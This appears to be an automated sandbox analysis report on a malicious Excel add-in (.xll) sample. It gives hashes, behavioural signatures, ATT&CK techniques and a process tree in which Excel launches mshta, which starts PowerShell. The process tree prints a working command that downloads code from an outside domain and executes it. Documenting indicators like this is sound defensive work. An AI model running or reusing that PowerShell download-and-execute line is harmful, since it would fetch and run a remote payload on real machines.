4e929fbca9788d73c9d54d4a987b16e86d749180fddf863465324e0992850f87

Analysis

max time kernel
136s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
23-05-2024 00:50

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General

Target

4e929fbca9788d73c9d54d4a987b16e86d749180fddf863465324e0992850f87.xll
Size

12KB
MD5

296566c8998eb34aa5787eacc0c5ab6b
SHA1

d76ca0e067d5bef0f28ecd03a025720e6636251c
SHA256

4e929fbca9788d73c9d54d4a987b16e86d749180fddf863465324e0992850f87
SHA512

039ab56caed74deb7e1cafa510f2b4cc05a86646bbaaab6cbfec482bf94afb6a16b87478a700f66c52f4ecccec715926d72b7901c56eb97c02c15ef0889e51c2
SSDEEP

192:bL29RBzDzeobchBj8JONzONlruSrEPEjr7Ah0:H29jnbcvYJOQXuSvr7C0

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2612	4392	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

42 540 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

4392 EXCEL.EXE
4392 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

540 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
42	540	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
4392	EXCEL.EXE
4392	EXCEL.EXE

pid	process
540	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4392 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

540 powershell.exe
540 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 540 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4392 EXCEL.EXE
4392 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE
4392 EXCEL.EXE

pid	process
4392	EXCEL.EXE

pid	process
540	powershell.exe
540	powershell.exe

description	pid	process
Token: SeDebugPrivilege	540	powershell.exe

pid	process
4392	EXCEL.EXE
4392	EXCEL.EXE

pid	process
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE
4392	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 4392 wrote to memory of 2612	4392	EXCEL.EXE	mshta.exe
PID 4392 wrote to memory of 2612	4392	EXCEL.EXE	mshta.exe
PID 4392 wrote to memory of 2612	4392	EXCEL.EXE	mshta.exe
PID 2612 wrote to memory of 540	2612	mshta.exe	powershell.exe
PID 2612 wrote to memory of 540	2612	mshta.exe	powershell.exe
PID 2612 wrote to memory of 540	2612	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4e929fbca9788d73c9d54d4a987b16e86d749180fddf863465324e0992850f87.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4392

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\Y19NSK22\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

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C:\Users\Admin\AppData\Local\Temp\4e929fbca9788d73c9d54d4a987b16e86d749180fddf863465324e0992850f87.xll

Filesize
12KB

MD5
296566c8998eb34aa5787eacc0c5ab6b

SHA1
d76ca0e067d5bef0f28ecd03a025720e6636251c

SHA256
4e929fbca9788d73c9d54d4a987b16e86d749180fddf863465324e0992850f87

SHA512
039ab56caed74deb7e1cafa510f2b4cc05a86646bbaaab6cbfec482bf94afb6a16b87478a700f66c52f4ecccec715926d72b7901c56eb97c02c15ef0889e51c2

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n3mxxl4w.j2l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/540-65-0x0000000005B50000-0x0000000005B9C000-memory.dmp

Filesize
304KB

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memory/540-64-0x0000000005B00000-0x0000000005B1E000-memory.dmp

Filesize
120KB

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memory/540-63-0x0000000005550000-0x00000000058A4000-memory.dmp

Filesize
3.3MB

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memory/540-66-0x0000000007170000-0x00000000077EA000-memory.dmp

Filesize
6.5MB

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memory/540-53-0x00000000054E0000-0x0000000005546000-memory.dmp

Filesize
408KB

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memory/540-52-0x0000000004D60000-0x0000000004DC6000-memory.dmp

Filesize
408KB

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memory/540-51-0x0000000004B40000-0x0000000004B62000-memory.dmp

Filesize
136KB

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memory/540-50-0x0000000004E00000-0x0000000005428000-memory.dmp

Filesize
6.2MB

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memory/540-49-0x0000000000D70000-0x0000000000DA6000-memory.dmp

Filesize
216KB

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memory/540-67-0x0000000006020000-0x000000000603A000-memory.dmp

Filesize
104KB

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memory/4392-10-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-8-0x00007FF819E60000-0x00007FF819E70000-memory.dmp

Filesize
64KB

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memory/4392-19-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-22-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-20-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-18-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-17-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-16-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-15-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-14-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-13-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-12-0x00007FF819E60000-0x00007FF819E70000-memory.dmp

Filesize
64KB

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memory/4392-11-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-0-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-9-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-21-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-6-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-7-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-1-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-5-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-4-0x00007FF85C50D000-0x00007FF85C50E000-memory.dmp

Filesize
4KB

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memory/4392-3-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-2-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-74-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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memory/4392-90-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-91-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-93-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-92-0x00007FF81C4F0000-0x00007FF81C500000-memory.dmp

Filesize
64KB

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memory/4392-94-0x00007FF85C470000-0x00007FF85C665000-memory.dmp

Filesize
2.0MB

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